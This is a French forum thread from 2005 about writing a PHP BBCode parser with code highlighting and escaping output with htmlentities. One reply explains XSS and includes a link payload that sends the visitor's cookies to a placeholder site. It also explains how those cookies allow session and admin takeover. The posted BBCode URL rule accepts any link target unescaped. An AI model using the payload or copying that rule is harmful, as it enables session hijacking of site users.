le code php en couleur

Répondre
Bzh
le 01/10/2005 à 18:17
Bzh
XSS = Cross site scripting

Appelé XSS afin de ne pas confondre avec les feuilles de styles CSS !!!

XSS est le fait d' injecter des scripts javascript ou de l' html !!!

La faille se trouve souvent des les forums amateurs.

exemple: <a href="javascript:location='http://ton_site.com/index.php?cookie='+document.cookie"> Cliquez ici pour voir une superbe photo</a>

Je te laisse diviner le danger de ce script !!!

Bye...
Bzh
le 02/10/2005 à 01:12
Bzh
Heu !!!!

document.cookie renvoit la valeur des cookies !!!

Donc cela veut dire cookie de sessions. Il a donc 180mn pour émuler le cookie et se connecter à la place de la personne...

Il récupère aussi le cookie du choi du design (site multi-couleur), enfin bon pas tellement dangereux mais il récupère aussi le cookie de l' auto-connexion. Et sa beaucoup plus grave. Pour peut que le systeme de gestion des droits d' admin se passe par un cookie, bin il aura tous les droits des admins...

Pas super du tout...

Bye...
manu56
le 02/10/2005 à 18:46
manu56
yoyo !!
J'ai un soucis,
Quand dois je utiliser le htmlentities?...
J'ai essayer plusieurs solutions qui me mettaient des &eacute ou qui m'affichait le code html de ma balise ]code[ traité avec le hightlight_string :/
voici mon code :
function highlight($tab) {
return highlight_string($tab[1], true);
}
//Je recupère mon texte brut de ma bdd dans $texte ...
$texte=stripslashes(trim($intro['contenu']));

$bbcode= array (
"/\[b\](.+?)\[\/b\]/si",
"/\[i\](.+?)\[\/i\]/si",
"/\[u\](.+?)\[\/u\]/si",
"/\[url=(.+?)\](.+?)\[\/url\]/si",
"/\[url\](.+?)\[\/url\]/si",
"#\[code\](.+)\[/code\]#isU"
);
$htmlcode= array (
"<b>$1</b>",
"<i>$1</i>",
"<u>$1</u>",
"<a href=\"$1\">$2</a>",
"<a href=\"$1\">$1</a>",
"<div class=\"code\"> [code]$1[/code] </div>"
);

$texte=preg_replace($bbcode,$htmlcode,$texte);
$texte = preg_replace_callback('#\[code\](.+)\[/code\]#isU', 'highlight' ,$texte);

echo $texte;


Merci de votre aide :)
Bzh
le 02/10/2005 à 19:45
Bzh
Tu utilises le htmlentities JUSTE à la sortie de ta base de donnée. SURTOUT pas après avoir généré les balises html pour ton bbcode !!!!

Sinon, là ton bbcode ne te servira plus à rien !!!
manu56
le 02/10/2005 à 21:57
manu56
bah oui mais je me tape tous les &eacute et compagnie et ma balise code affiche ca :
&lt;?

echo &quot;Je kif le php&quot;;

?&gt;

:/
manu56
le 02/10/2005 à 22:52
manu56
J'abuse peut-etre mais comment faire pour appliquer htmlentities sur une partie d'une chaine (sans prendre en compte le code cntenue dans [ code ])smiley
manu56
le 03/10/2005 à 12:45
manu56
oui justement c'est ca le problème ^^
Trop de mal avec les expressions régulière :/
Va falloir que je m'y mette sérieusement xD
Répondre

Ecrire un message

Votre message vient d'être créé avec succès.
LoadingChargement en cours